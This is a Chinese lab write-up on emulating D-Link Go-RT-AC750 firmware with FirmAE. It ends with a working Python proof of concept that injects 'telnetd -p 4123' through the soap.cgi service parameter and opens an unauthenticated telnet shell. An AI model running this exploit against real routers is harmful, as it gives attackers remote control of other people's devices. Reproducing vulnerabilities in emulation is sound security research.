1.FirmAE 工具安装
首先拉取FirmAE 工具仓库
git clone --recursive https://github.com/pr0v3rbs/FirmAE
运行下载脚本
cd FirmAE/ ./download.sh
运行./install.sh进行安装
2.下载固件
本文模拟的是设备型号为Go-RT-AC750,固件版本:revA_v101b03
下载地址:
https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-router
下载后得到GORTAC750_A1_FW_v101b03.bin固件文件
3.FirmAE工具初始化
在FirmAE工具目录下执行./init.sh进行初始化
4.安装binwalk
这里使用FirmAE工具目录下的binwalk安装程序进行安装
cd binwalk-2.3.3/
python3 setup.py install
5.模拟运行固件
执行如下命令对固件进行解压
binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root
执行如下命令来模拟运行固件
sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin
使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link Go-RT-AC750路由器
POC内容如下:
from socket import *
from os import *
from time import *
request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 88\r\n"
request += b"SOAPAction: a#b\r\n\r\n"
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
sleep(10)
system('telnet 192.168.0.1 4123')
执行POC,成功获取shell
python3 poc.py
本文作者:第59号实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/201139.html